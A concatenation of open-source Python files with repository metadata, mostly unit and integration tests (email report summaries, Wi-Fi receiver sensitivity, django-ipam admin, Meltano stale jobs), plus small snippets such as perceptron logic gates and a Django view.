'Number of failed files: 0') self.assertEquals(lines[5], 'Summary of Fixes:') self.assertNotIn('.csv', lines[6]) self.assertEquals(lines[7], 'file1.csv') def test_email_report_mixed_pass_fix(self): """ Test email report generation when some files pass immediately and others are fixed between runs. """ input_root = resolve_test_data_path('data/reports/pass_and_fix') email_report = report.EmailSummary(input_root, SANDBOX_DIR) emails = {'MSC': 'placeholder@mail.com'} email_report.write(emails) today = datetime.now().strftime('%Y-%m-%d') output_filename = 'failed-files-{}'.format(today) output_path = os.path.join(SANDBOX_DIR, output_filename) self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: lines = output.read().splitlines() self.assertEquals(len(lines), 11) self.assertEquals(lines[0], 'MSC (placeholder@mail.com)') self.assertEquals(lines[1], 'Total files received: 9') self.assertEquals(lines[2], 'Number of passed files: 5') self.assertEquals(lines[3], 'Number of manually repaired files: 4') self.assertEquals(lines[4], 'Number of failed files: 0') self.assertEquals(lines[5], 'Summary of Fixes:') self.assertNotIn('.csv', lines[6]) self.assertEquals(lines[7], 'File5.csv') self.assertEquals(lines[8], 'file2.csv') self.assertEquals(lines[9], 'file3.csv') self.assertEquals(lines[10], 'file9.csv') def test_email_report_mixed_fail_fix(self): """ Test email report generation when some files fail irrecoverably and others are fixed between runs """ input_root = resolve_test_data_path('data/reports/fix_and_fail') email_report = report.EmailSummary(input_root, SANDBOX_DIR) emails = {'MSC': 'placeholder@mail.com'} email_report.write(emails) today = datetime.now().strftime('%Y-%m-%d') output_filename = 'failed-files-{}'.format(today) output_path = os.path.join(SANDBOX_DIR, output_filename) self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: lines = output.read().splitlines() self.assertEquals(len(lines), 17) self.assertEquals(lines[0], 'MSC (placeholder@mail.com)') self.assertEquals(lines[1], 'Total files received: 8') self.assertEquals(lines[2], 'Number of passed files: 0') self.assertEquals(lines[3], 'Number of manually repaired files: 3') self.assertEquals(lines[4], 'Number of failed files: 5') self.assertEquals(lines[5], 'Summary of Failures:') self.assertNotIn('.csv', lines[6]) self.assertEquals(lines[7], 'file1.csv') self.assertEquals(lines[8], 'file3.csv') self.assertEquals(lines[9], 'file4.csv') self.assertEquals(lines[10], 'file7.csv') self.assertEquals(lines[11], 'file8.csv') self.assertEquals(lines[12], 'Summary of Fixes:') self.assertNotIn('.csv', lines[13]) self.assertEquals(lines[14], 'file2.csv') self.assertEquals(lines[15], 'file5.csv') self.assertEquals(lines[16], 'file6.csv') def test_email_summary_fix_but_still_fail(self): """ Test email report generation when files are fixed between runs, only to have an irrecoverable error show up. """ input_root = resolve_test_data_path('data/reports/fail_twice') email_report = report.EmailSummary(input_root, SANDBOX_DIR) emails = {'MSC': 'placeholder@mail.com'} email_report.write(emails) today = datetime.now().strftime('%Y-%m-%d') output_filename = 'failed-files-{}'.format(today) output_path = os.path.join(SANDBOX_DIR, output_filename) self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: lines = output.read().splitlines() self.assertEquals(len(lines), 8) self.assertEquals(lines[0], 'MSC (placeholder@mail.com)') self.assertEquals(lines[1], 'Total files received: 1') self.assertEquals(lines[2], 'Number of passed files: 0') self.assertEquals(lines[3], 'Number of manually repaired files: 0') self.assertEquals(lines[4], 'Number of failed files: 1') self.assertEquals(lines[5], 'Summary of Failures:') self.assertNotIn('.csv', lines[6]) self.assertEquals(lines[7], 'file1.csv') def test_email_summary_mixed_pass_fix_fail(self): """ Test email report generation when some files pass immediately, some fail irrecoverably, and others are fixed between runs. """ input_root = resolve_test_data_path('data/reports/pass_fix_fail') email_report = report.EmailSummary(input_root, SANDBOX_DIR) emails = {'MSC': 'placeholder@mail.com'} email_report.write(emails) today = datetime.now().strftime('%Y-%m-%d') output_filename = 'failed-files-{}'.format(today) output_path = os.path.join(SANDBOX_DIR, output_filename) self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: lines = output.read().splitlines() self.assertEquals(len(lines), 19) # Output may be sorted in various ways, so just check that all # files are in the right block and are all accounted for. fail_group = ['file4.csv', 'file9.csv'] first_fix_of_pair = ['file2.csv', 'file6.csv'] second_fix_of_pair = ['file3.csv', 'file8.csv'] self.assertEquals(lines[0], 'MSC (placeholder@mail.com)') self.assertEquals(lines[1], 'Total files received: 11') self.assertEquals(lines[2], 'Number of passed files: 5') self.assertEquals(lines[3], 'Number of manually repaired files: 4') self.assertEquals(lines[4], 'Number of failed files: 2') self.assertEquals(lines[5], 'Summary of Failures:') self.assertNotIn('.csv', lines[6]) self.assertIn(lines[7], fail_group) self.assertNotIn('.csv', lines[8]) self.assertIn(lines[9], fail_group) self.assertEquals(lines[10], 'Summary of Fixes:') self.assertNotIn('.csv', lines[11]) self.assertNotIn('.csv', lines[12]) self.assertIn(lines[13], first_fix_of_pair) self.assertIn(lines[14], second_fix_of_pair) self.assertNotIn('.csv', lines[15]) self.assertNotIn('.csv', lines[16]) self.assertIn(lines[17], first_fix_of_pair) self.assertIn(lines[18], second_fix_of_pair) def test_email_summary_multiple_causes(self): """ Test email report generation when files fail or are fixed due to multiple different issues. """ input_root = resolve_test_data_path( 'data/reports/multiple_causes_two_runs') email_report = report.EmailSummary(input_root, SANDBOX_DIR) emails = {'MSC': 'placeholder@mail.com'} email_report.write(emails) today = datetime.now().strftime('%Y-%m-%d') output_filename = 'failed-files-{}'.format(today) output_path = os.path.join(SANDBOX_DIR, output_filename) self.assertTrue(os.path.exists(output_path)) with open(output_path) as output: lines = output.read().splitlines() self.assertEquals(len(lines), 17) self.assertEquals(lines[0], 'MSC (placeholder@mail.com)') self.assertEquals(lines[1], 'Total files received: 5') self.assertEquals(lines[2], 'Number of passed files: 0') self.assertEquals(lines[3], 'Number of manually repaired files: 2') self.assertEquals(lines[4], 'Number of failed files: 3') fix_group = ['file1.csv', 'file3.csv'] fail_group = ['file2.csv', 'file4.csv', 'file5.csv'] self.assertEquals(lines[5], 'Summary of Failures:') self.assertNotIn('.csv', lines[6]) self.assertIn(lines[7], fail_group) self.assertNotIn('.csv', lines[8]) self.assertIn(lines[9], fail_group) self.assertNotIn('.csv', lines[10]) self.assertIn(lines[11], fail_group) self.assertEquals(lines[12], 'Summary of Fixes:') self.assertNotIn('.csv', lines[13]) self.assertIn(lines[14], fix_group) self.assertNotIn('.csv', lines[15]) self.assertIn(lines[16], fix_group) # Check that all error causes (messages) are distinct. self.assertEquals(len(set([lines[6], lines[8], lines[10]])), 3) self.assertEquals(len(set([lines[13], lines[15]])), 2) if __name__ == '__main__': unittest.main()

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Python

tests/e2e/advanced/receiver_sensitivity/test_nat_mode_all_mcs.py

DYeag/wlan-testing

81e879d04ea3c6a55d14a330d461d8914507e3b2

[ "BSD-3-Clause" ]

7

2020-08-19T16:45:46.000Z

2022-02-10T09:55:22.000Z

tests/e2e/advanced/receiver_sensitivity/test_nat_mode_all_mcs.py

DYeag/wlan-testing

81e879d04ea3c6a55d14a330d461d8914507e3b2

[ "BSD-3-Clause" ]

47

2020-12-20T16:06:03.000Z

2022-03-23T03:01:22.000Z

tests/e2e/advanced/receiver_sensitivity/test_nat_mode_all_mcs.py

DYeag/wlan-testing

81e879d04ea3c6a55d14a330d461d8914507e3b2

[ "BSD-3-Clause" ]

9

2021-02-04T22:32:06.000Z

2021-12-14T17:45:51.000Z

""" Performance Test: Receiver Sensitivity Test: NAT Mode pytest -m "rx_sensitivity_test and nat" """ import os import pytest import allure pytestmark = [pytest.mark.rx_sensitivity_test, pytest.mark.nat, pytest.mark.usefixtures("setup_test_run")] setup_params_general = { "mode": "NAT", "ssid_modes": { "wpa2_personal": [ {"ssid_name": "ssid_wpa2_2g", "appliedRadios": ["is2dot4GHz"], "security_key": "something"}, {"ssid_name": "ssid_wpa2_5g", "appliedRadios": ["is5GHzU", "is5GHz", "is5GHzL"], "security_key": "something"}]}, "rf": { "is5GHz": {"channelBandwidth": "is20MHz"}, "is5GHzL": {"channelBandwidth": "is20MHz"}, "is5GHzU": {"channelBandwidth": "is20MHz"}}, "radius": False, "attenuator": { "attenuator": "1.1.3059", "attenuator2": "1.1.3034"} } @allure.feature("NAT MODE CLIENT CONNECTIVITY") @pytest.mark.parametrize( 'setup_profiles', [setup_params_general], indirect=True, scope="class" ) @pytest.mark.usefixtures("setup_profiles") class TestRxSensitivityNATAllMcs5G(object): @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-2445", name="WIFI-2445") @pytest.mark.wpa2_personal @pytest.mark.fiveg @pytest.mark.all_mcs def test_client_wpa2_personal_nat_all_mcs_5g(self, get_vif_state, lf_test, station_names_fiveg, create_lanforge_chamberview_dut, get_configuration): """Receiver Sensitivity nat Mode pytest -m "rx_sensitivity_test and nat and wpa2_personal and fiveg" """ profile_data = setup_params_general["ssid_modes"]["wpa2_personal"][1] ssid_name = profile_data["ssid_name"] security_key = profile_data["security_key"] security = "wpa2" attenuator = setup_params_general["attenuator"]["attenuator"] attenuator2 = setup_params_general["attenuator"]["attenuator2"] mode = "NAT" band = "fiveg" vlan = 1 dut_name = create_lanforge_chamberview_dut raw_lines = [['txo_preamble: VHT'], ['txo_mcs: 0 CCK, OFDM, HT, VHT;1 CCK, OFDM, HT, VHT;2 CCK, OFDM, HT, VHT;3 CCK, OFDM, HT, VHT' '4 OFDM, HT, VHT;5 OFDM, HT, VHT;6 OFDM, HT, VHT;7 OFDM, HT, VHT;8 VHT;9 VHT'], ['spatial_streams: 1'], ['bandw_options: 20'], ['txo_sgi: OFF'], ['txo_retries: No Retry'], ['attenuator: %s' % attenuator], ['attenuator2: %s' % attenuator2], ["show_3s: 1"], ['txo_txpower: 17'], ["show_ll_graphs: 1"], ["show_log: 1"]] if ssid_name not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") station = lf_test.Client_Connect(ssid=ssid_name, security=security, passkey=security_key, mode=mode, band=band, station_name=station_names_fiveg, vlan_id=vlan) if station: dp_obj = lf_test.rx_sensitivity(station_name=station_names_fiveg, mode=mode, instance_name="TIP_PERF_RX_SEN_WPA2_NAT_5G_ALL_MCS", vlan_id=vlan, dut_name=dut_name, raw_lines=raw_lines) report_name = dp_obj.report_name[0]['LAST']["response"].split(":::")[1].split("/")[-1] entries = os.listdir("../reports/" + report_name + '/') pdf = False for i in entries: if ".pdf" in i: pdf = i if pdf: allure.attach.file(source="../reports/" + report_name + "/" + pdf, name=get_configuration["access_point"][0]["model"] + "_dataplane") print("Test Completed... Cleaning up Stations") lf_test.Client_disconnect(station_name=station_names_fiveg) assert station else: assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-2445", name="WIFI-2445") @pytest.mark.wpa2_personal @pytest.mark.twog @pytest.mark.all_mcs def test_client_wpa2_personal_nat_all_mcs_2g(self, get_vif_state, lf_test, station_names_twog, create_lanforge_chamberview_dut, get_configuration): """Receiver Sensitivity nat Mode pytest -m "rx_sensitivity_test and nat and wpa2_personal and twog" """ profile_data = setup_params_general["ssid_modes"]["wpa2_personal"][0] ssid_name = profile_data["ssid_name"] security_key = profile_data["security_key"] security = "wpa2" attenuator = setup_params_general["attenuator"]["attenuator"] attenuator2 = setup_params_general["attenuator"]["attenuator2"] mode = "NAT" band = "twog" vlan = 1 dut_name = create_lanforge_chamberview_dut raw_lines = [['txo_preamble: VHT'], ['txo_mcs: 0 CCK, OFDM, HT, VHT;1 CCK, OFDM, HT, VHT;2 CCK, OFDM, HT, VHT;3 CCK, OFDM, HT, VHT' '4 OFDM, HT, VHT;5 OFDM, HT, VHT;6 OFDM, HT, VHT;7 OFDM, HT, VHT;8 VHT;9 VHT'], ['spatial_streams: 1'], ['bandw_options: 20'], ['txo_sgi: OFF'], ['txo_retries: No Retry'], ['attenuator: %s' % attenuator], ['attenuator2: %s' % attenuator2], ["show_3s: 1"], ['txo_txpower: 17'], ["show_ll_graphs: 1"], ["show_log: 1"]] if ssid_name not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") station = lf_test.Client_Connect(ssid=ssid_name, security=security, passkey=security_key, mode=mode, band=band, station_name=station_names_twog, vlan_id=vlan) if station: dp_obj = lf_test.rx_sensitivity(station_name=station_names_twog, mode=mode, instance_name="TIP_PERF_RX_SEN_WPA2_NAT_2G_ALL_MCS", vlan_id=vlan, dut_name=dut_name, raw_lines=raw_lines) report_name = dp_obj.report_name[0]['LAST']["response"].split(":::")[1].split("/")[-1] entries = os.listdir("../reports/" + report_name + '/') pdf = False for i in entries: if ".pdf" in i: pdf = i if pdf: allure.attach.file(source="../reports/" + report_name + "/" + pdf, name=get_configuration["access_point"][0]["model"] + "_dataplane") print("Test Completed... Cleaning up Stations") lf_test.Client_disconnect(station_name=station_names_twog) assert station else: assert False

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6

b9df18e613e01c34032da89f9650086a269cb026

11,206

py

Python

django_ipam/tests/base/test_admin.py

pawelplsi/django-ipam

bb8cf38883aa6bd05af34134542671b50d616a62

[ "BSD-3-Clause" ]

null

django_ipam/tests/base/test_admin.py

pawelplsi/django-ipam

bb8cf38883aa6bd05af34134542671b50d616a62

[ "BSD-3-Clause" ]

null

django_ipam/tests/base/test_admin.py

pawelplsi/django-ipam

bb8cf38883aa6bd05af34134542671b50d616a62

[ "BSD-3-Clause" ]

null

import json from django.contrib.auth import get_user_model from django.core.files.uploadedfile import SimpleUploadedFile from django.urls import reverse User = get_user_model() class BaseTestAdmin(object): def setUp(self): User.objects.create_superuser(username='admin', password='tester', email='admin@admin.com') self.client.login(username='admin', password='tester') def test_ipaddress_invalid_entry(self): subnet = self._create_subnet(subnet='10.0.0.0/24', description='Sample Subnet') post_data = self._post_data(ip_address='1234', subnet=str(subnet.id), created_0='2017-08-08', created_1='15:16:10', modified_0='2017-08-08', modified_1='15:16:10') response = self.client.post(reverse('admin:{0}_ipaddress_add'.format(self.app_name)), json.loads(post_data), follow=True) self.assertContains(response, 'ok') self.assertContains(response, 'Enter a valid IPv4 or IPv6 address.') def test_ipaddress_change(self): subnet = self._create_subnet(subnet='10.0.0.0/24', description='Sample Subnet') obj = self._create_ipaddress(ip_address='10.0.0.1', subnet=subnet) response = self.client.get(reverse('admin:{0}_ipaddress_change'.format(self.app_name), args=[obj.pk]), follow=True) self.assertContains(response, 'ok') self.assertEqual(self.ipaddress_model.objects.get(pk=obj.pk).ip_address, '10.0.0.1') def test_ipv4_subnet_change(self): subnet = self._create_subnet(subnet='10.0.0.0/24', description='Sample Subnet') self._create_ipaddress(ip_address='10.0.0.1', subnet=subnet) url = reverse('admin:{0}_subnet_change'.format(self.app_name), args=[subnet.pk]) response = self.client.get(url) self.assertContains(response, 'ok') self.assertContains(response, '<h3>Subnet Visual Display</h3>') def test_ipv6_subnet_change(self): subnet = self._create_subnet(subnet='fdb6:21b:a477::9f7/64', description='Sample Subnet') self._create_ipaddress(ip_address='fdb6:21b:a477::9f7', subnet=subnet) response = self.client.get(reverse('admin:{0}_subnet_change'.format(self.app_name), args=[subnet.pk]), follow=True) self.assertContains(response, 'ok') self.assertContains(response, '<h3>Subnet Visual Display</h3>') def test_subnet_invalid_entry(self): post_data = self._post_data(subnet=1234, created_0='2017-08-08', created_1='15:16:10', modified_0='2017-08-08', modified_1='15:16:10') response = self.client.post(reverse('admin:{0}_subnet_add'.format(self.app_name)), json.loads(post_data), follow=True) self.assertContains(response, 'ok') self.assertContains(response, 'Enter a valid CIDR address.') def test_subnet_popup_response(self): subnet = self._create_subnet(subnet='fdb6:21b:a477::9f7/64', description='Sample Subnet') self._create_ipaddress(ip_address='fdb6:21b:a477::9f7', subnet=subnet) response = self.client.get(reverse('admin:{0}_subnet_change'.format(self.app_name), args=[subnet.id]) + '?_popup=1', follow=True) self.assertContains(response, 'ok') def test_ipaddress_response(self): subnet = self._create_subnet(subnet='10.0.0.0/24', description='Sample Subnet') post_data = self._post_data(ip_address='10.0.0.1', subnet=str(subnet.id), created_0='2017-08-08', created_1='15:16:10', modified_0='2017-08-08', modified_1='15:16:10') response = self.client.post(reverse('admin:{0}_ipaddress_add'.format(self.app_name)), json.loads(post_data), follow=True) self.assertContains(response, 'ok') def test_ipaddress_popup_response(self): subnet = self._create_subnet(subnet='10.0.0.0/24', description='Sample Subnet') post_data = self._post_data(ip_address='10.0.0.1', subnet=str(subnet.id), created_0='2017-08-08', created_1='15:16:10', modified_0='2017-08-08', modified_1='15:16:10', _popup=1) response = self.client.post(reverse('admin:{0}_ipaddress_add'.format(self.app_name)), json.loads(post_data)) self.assertContains(response, 'opener.dismissAddAnotherPopup(window);') def test_csv_upload(self): csv_data = """Monachers - Matera, 10.27.1.0/24, , ip address,description 10.27.1.1,Monachers 10.27.1.252,NanoStation M5 10.27.1.253,NanoStation M5 10.27.1.254,Nano Beam 5 19AC""" csvfile = SimpleUploadedFile('data.csv', bytes(csv_data, 'utf-8')) response = self.client.post(reverse('admin:ipam_import_subnet'.format(self.app_name)), {'csvfile': csvfile}, follow=True) self.assertEqual(response.status_code, 200) self.assertEqual(str(self.subnet_model.objects.first().subnet), '10.27.1.0/24') self.assertEqual(str(self.ipaddress_model.objects.all()[0].ip_address), '10.27.1.1') self.assertEqual(str(self.ipaddress_model.objects.all()[1].ip_address), '10.27.1.252') self.assertEqual(str(self.ipaddress_model.objects.all()[2].ip_address), '10.27.1.253') self.assertEqual(str(self.ipaddress_model.objects.all()[3].ip_address), '10.27.1.254') def test_existing_csv_data(self): subnet = self._create_subnet(name='Monachers - Matera', subnet='10.27.1.0/24') self._create_ipaddress(ip_address='10.27.1.1', subnet=subnet, description='Monachers') csv_data = """Monachers - Matera, 10.27.1.0/24, , ip address,description 10.27.1.1,Monachers 10.27.1.252,NanoStation M5 10.27.1.253,NanoStation M5 10.27.1.254,Nano Beam 5 19AC""" csvfile = SimpleUploadedFile('data.csv', bytes(csv_data, 'utf-8')) response = self.client.post(reverse('admin:ipam_import_subnet'.format(self.app_name)), {'csvfile': csvfile}, follow=True) self.assertEqual(response.status_code, 200) self.assertEqual(str(self.ipaddress_model.objects.all()[1].ip_address), '10.27.1.252') self.assertEqual(str(self.ipaddress_model.objects.all()[2].ip_address), '10.27.1.253') self.assertEqual(str(self.ipaddress_model.objects.all()[3].ip_address), '10.27.1.254') def test_invalid_file_type(self): csv_data = """Monachers - Matera, 10.27.1.0/24, , ip address,description 10.27.1.1,Monachers 10.27.1.252,NanoStation M5 10.27.1.253,NanoStation M5 10.27.1.254,Nano Beam 5 19AC""" csvfile = SimpleUploadedFile('data.txt', bytes(csv_data, 'utf-8')) response = self.client.post(reverse('admin:ipam_import_subnet'.format(self.app_name)), {'csvfile': csvfile}, follow=True) self.assertEqual(response.status_code, 200) self.assertContains(response, 'File type not supported.') def test_invalid_subnet_csv_data(self): csv_data = """Monachers - Matera, 12324324, , ip address,description 10.27.1.1,Monachers NanoStation M5 10.27.1.253,NanoStation M5 10.27.1.254,Nano Beam 5 19AC""" csvfile = SimpleUploadedFile('data.csv', bytes(csv_data, 'utf-8')) response = self.client.post(reverse('admin:ipam_import_subnet'.format(self.app_name)), {'csvfile': csvfile}, follow=True) self.assertEqual(response.status_code, 200) self.assertContains(response, 'does not appear to be an IPv4 or IPv6 network') def test_invalid_ipaddress_csv_data(self): csv_data = """Monachers - Matera, 10.27.1.0/24, , ip address,description 10123142131,Monachers 10.27.1.252,NanoStation M5 10.27.1.253,NanoStation M5 10.27.1.254,Nano Beam 5 19AC""" csvfile = SimpleUploadedFile('data.csv', bytes(csv_data, 'utf-8')) response = self.client.post(reverse('admin:ipam_import_subnet'.format(self.app_name)), {'csvfile': csvfile}, follow=True) self.assertEqual(response.status_code, 200) self.assertContains(response, 'does not appear to be an IPv4 or IPv6 address') def test_subnet_csv_export(self): subnet = self._create_subnet(subnet='10.0.0.0/24', name='Sample Subnet') self._create_ipaddress(ip_address='10.0.0.1', subnet=subnet, description='Testing') self._create_ipaddress(ip_address='10.0.0.2', subnet=subnet, description='Testing') self._create_ipaddress(ip_address='10.0.0.3', subnet=subnet) self._create_ipaddress(ip_address='10.0.0.4', subnet=subnet) csv_data = """Sample Subnet\r 10.0.0.0/24\r \r ip_address,description\r 10.0.0.1,Testing\r 10.0.0.2,Testing\r 10.0.0.3,\r 10.0.0.4,\r """ csv_data = bytes(csv_data.replace(' ', ''), 'utf-8') url = reverse('admin:ipam_export_subnet', args=[subnet.id]) response = self.client.get(url) self.assertEqual(response.status_code, 200) self.assertEqual(response.content, csv_data) def test_importcsv_form(self): response = self.client.get(reverse('admin:ipam_import_subnet')) self.assertEqual(response.status_code, 200) def test_hierarchy_tree(self): subnet_root = self._create_subnet(subnet='11.0.0.0/23', name='Root') subnet_child = self._create_subnet(subnet='11.0.0.0/24', name='Child#1', master_subnet=subnet_root) self._create_subnet(subnet='11.0.1.0/24', name='Child#2', master_subnet=subnet_root) self._create_subnet(subnet='11.0.0.0/25', name='Grantchild#1', master_subnet=subnet_child) url = reverse('admin:{0}_subnet_change'.format(self.app_name), args=[subnet_child.id]) response = self.client.get(url) self.assertEqual(response.status_code, 200) self.assertContains(response, "11.0.0.0/23 (Root)") self.assertContains(response, "11.0.0.0/24 (Child#1)") self.assertContains(response, "11.0.1.0/24 (Child#2)") self.assertContains(response, "11.0.0.0/25 (Grantchild#1)")

50.477477

110

0.597359

1,430

11,206

4.516783

0.103497

0.012076

0.024772

0.036848

0.82954

0.806317

0.77272

0.7512

0.72039

0.693451

0

0.08462

0.266018

11,206

221

111

50.705882

0.700669

0

0.558376

0

0.254685

0.061306

0

0.187817

1

0.086294

false

0.010152

0.055838

0

0.147208

0

null

0

1

0

null

0

6

6a361906320586374b2352e3c987520069dcef6e

168

py

Python

pageNotFound/views.py

loribonna/EsameLDPython

02f671d0813e4e3cfed5a977018ab295b8675d60

[ "MIT" ]

null

pageNotFound/views.py

loribonna/EsameLDPython

02f671d0813e4e3cfed5a977018ab295b8675d60

[ "MIT" ]

null

pageNotFound/views.py

loribonna/EsameLDPython

02f671d0813e4e3cfed5a977018ab295b8675d60

[ "MIT" ]

null

from django.shortcuts import render from django.http import HttpResponse # Create your views here. def pageNotFound(request): return HttpResponse("Page Not Found")

28

41

0.797619

22

168

6.090909

0.818182

0.149254

0

0.136905

168

6

41

28

0.924138

0.136905

0

0.097222

0

1

0.25

false

0

0.5

0.25

1

0

1

0

null

0

1

0

null

0

1

0

1

0

6

6a49339a8e8db8543bca1cf7dffdecc3019230cd

534

py

Python

DeepLearning from Scratch 1/ch2/2.3.3 가중치와 편향 구현하기.py

DaeSeokSong/HobbyCoding

662f348442a953316347dc2fb31df1a852ac12f3

[ "MIT" ]

null

DeepLearning from Scratch 1/ch2/2.3.3 가중치와 편향 구현하기.py

DaeSeokSong/HobbyCoding

662f348442a953316347dc2fb31df1a852ac12f3

[ "MIT" ]

null

DeepLearning from Scratch 1/ch2/2.3.3 가중치와 편향 구현하기.py

DaeSeokSong/HobbyCoding

662f348442a953316347dc2fb31df1a852ac12f3

[ "MIT" ]

null

"""2.3.3 가중치와 편향 구현하기""" def AND(x1, x2): x = np.array([x1, x2]) w = np.array([0.5, 0.5]) b = -0.7 tmp = np.sum(w*x) + b if tmp <= 0: return 0 else: return 1 def NAND(x1, x2): x = np.array([x1, x2]) # AND와 NAND는 가중치(w와 b)만 다르다 w = np.array([-0.5, -0.5]) b = 0.7 tmp = np.sum(w*x) + b if tmp <= 0: return 0 else: return 1 def OR(x1, x2): x = np.array([x1, x2]) w = np.array([0.5, 0.5]) b = -0.2 tmp = np.sum(w*x) + b if tmp <= 0: return 0 else: return 1

18.413793

31

0.464419

112

534

2.214286

0.276786

0.096774

0.060484

0.084677

0.818548

0.754032

0

0.116992

0.327715

534

29

32

18.413793

0.573816

0.08427

0

0.666667

0

1

0.142857

false

0

0.142857

0

null

0

1

0

null

0

6

e038a6a1f22093556aceeb486188267d48bccf43

321

py

Python

CA117/Lab_4/beststudent_31_v2.py

PRITI1999/OneLineWonders

91a7368e0796e5a3b5839c9165f9fbe5460879f5

[ "MIT" ]

6

2016-02-04T00:15:20.000Z

2019-10-13T13:53:16.000Z

CA117/Lab_4/beststudent_31_v2.py

PRITI1999/OneLineWonders

91a7368e0796e5a3b5839c9165f9fbe5460879f5

[ "MIT" ]

2

2016-03-14T04:01:36.000Z

2019-10-16T12:45:34.000Z

CA117/Lab_4/beststudent_31_v2.py

PRITI1999/OneLineWonders

91a7368e0796e5a3b5839c9165f9fbe5460879f5

[ "MIT" ]

10

2016-02-09T14:38:32.000Z

2021-05-25T08:16:26.000Z

(lambda a:print("Best student: {1} {2}\nBest mark: {0}".format(*max([line.split()for line in open(a,'r')],key=lambda x:int(x[0]) if x[0].isdigit() else [print("Invalid mark %s encountered. Exiting" % x[0]), exit()])))if __import__('os').path.isfile(a)else print("ERROR: File not found! " + a))(__import__('sys').argv[1])

160.5

320

0.65109

57

321

3.526316

0.684211

0.029851

0

0.024055

0.093458

321

1

321

0.666667

0

0.317757

0

1

0

true

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

6

e050ad968c3072ad9c1330031f17b3893a3b8ba5

231

py

Python

terrafirma/planner/apps.py

AlexandraAlter/django-terrafirma

afce5946f173aded2b4bfea78cf1b1034ec32272

[ "MIT" ]

null

terrafirma/planner/apps.py

AlexandraAlter/django-terrafirma

afce5946f173aded2b4bfea78cf1b1034ec32272

[ "MIT" ]

null

terrafirma/planner/apps.py

AlexandraAlter/django-terrafirma

afce5946f173aded2b4bfea78cf1b1034ec32272

[ "MIT" ]

null

from django.apps import AppConfig from django.utils.translation import gettext_lazy as _ class PlannerConfig(AppConfig): name = 'terrafirma.planner' label = 'terrafirma_planner' verbose_name = _('Terrafirma Planner')

25.666667

54

0.766234

26

231

6.615385

0.653846

0.296512

0.244186

0

0.155844

231

8

55

28.875

0.882051

0

0.233766

0

1

0

false

0

0.333333

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

0ebd3478de83e65bc3ea2a9c82dd1c79bf67e25e

2,513

py

Python

tests/meltano/core/job/test_stale_job_failer.py

siilats/meltano

404605c83f441c3fc2b729e26416c6caa8b0ed0b

[ "MIT" ]

122

2021-06-21T17:30:29.000Z

2022-03-25T06:21:38.000Z

tests/meltano/core/job/test_stale_job_failer.py

siilats/meltano

404605c83f441c3fc2b729e26416c6caa8b0ed0b

[ "MIT" ]

null

tests/meltano/core/job/test_stale_job_failer.py

siilats/meltano

404605c83f441c3fc2b729e26416c6caa8b0ed0b

[ "MIT" ]

21

2021-06-22T10:08:15.000Z

2022-03-18T08:57:02.000Z

from datetime import datetime, timedelta import pytest from meltano.core.job import Job from meltano.core.job.stale_job_failer import StaleJobFailer class TestStaleJobFailer: @pytest.fixture def live_job(self, session): job = Job(job_id="test") job.start() job.save(session) return job @pytest.fixture def stale_job(self, session): job = Job(job_id="test") job.start() job.last_heartbeat_at = datetime.utcnow() - timedelta(minutes=10) job.save(session) return job @pytest.fixture def other_stale_job(self, session): job = Job(job_id="other") job.start() job.last_heartbeat_at = datetime.utcnow() - timedelta(minutes=10) job.save(session) return job @pytest.fixture def complete_job(self, session): job = Job(job_id="other") job.start() job.success() job.save(session) return job def test_fail_stale_jobs( self, live_job, stale_job, other_stale_job, complete_job, session ): assert stale_job.is_stale() assert other_stale_job.is_stale() failer = StaleJobFailer() failer.fail_stale_jobs(session) session.refresh(live_job) session.refresh(stale_job) session.refresh(other_stale_job) session.refresh(complete_job) # Leaves non-stale jobs alone assert live_job.is_running() assert complete_job.is_complete() # Marks all stale jobs as failed assert stale_job.has_error() assert not stale_job.is_stale() assert other_stale_job.has_error() assert not other_stale_job.is_stale() def test_fail_stale_jobs_with_job_id( self, live_job, stale_job, other_stale_job, complete_job, session ): assert stale_job.is_stale() assert other_stale_job.is_stale() failer = StaleJobFailer(job_id=stale_job.job_id) failer.fail_stale_jobs(session) session.refresh(live_job) session.refresh(stale_job) session.refresh(other_stale_job) session.refresh(complete_job) # Leaves non-stale jobs alone assert live_job.is_running() assert complete_job.is_complete() # Marks stale jobs with the job ID as failed assert stale_job.has_error() assert not stale_job.is_stale() # Leaves stale jobs with a different job ID alone assert other_stale_job.is_stale()

27.021505

73

0.651413

327

2,513

4.743119

0.159021

0.118633

0.083817

0.077369

0.814313

0.760799

0.733075

0.691167

0

0.00217

0.266614

2,513

92

74

27.315217

0.839392

0.070434

0

0.753846

0

0.007725

0

0.230769

1

0.092308

false

0

0.061538

0

0.230769

0

null

0

1

0

1

0

1

0

null

0

6

0ee1fe8af2c2998091ecd8b9201dbe5e0121df6b

6,707

py

Python

backend/setup.py

jtimberlake/cloud-inquisitor

9ab260d6c3f35d496c2d8f888f9836b5afe9d06b

[ "Apache-2.0" ]

462

2017-11-27T20:53:25.000Z

2022-03-26T18:32:50.000Z

backend/setup.py

RiotGames/cloud-inquisitor

29a26c705381fdba3538b4efedb25b9e09b387ed

[ "Apache-2.0" ]

103

2017-11-28T14:33:26.000Z

2020-11-06T20:01:11.000Z

backend/setup.py

jtimberlake/cloud-inquisitor

9ab260d6c3f35d496c2d8f888f9836b5afe9d06b

[ "Apache-2.0" ]

58

2017-11-28T00:49:12.000Z

2022-03-26T18:32:44.000Z

